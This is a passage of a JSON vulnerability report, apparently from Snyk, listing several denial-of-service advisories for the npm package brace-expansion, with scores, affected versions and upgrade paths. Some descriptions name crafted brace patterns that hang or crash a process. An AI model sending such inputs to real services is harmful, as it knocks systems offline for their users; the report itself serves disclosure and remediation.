6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub 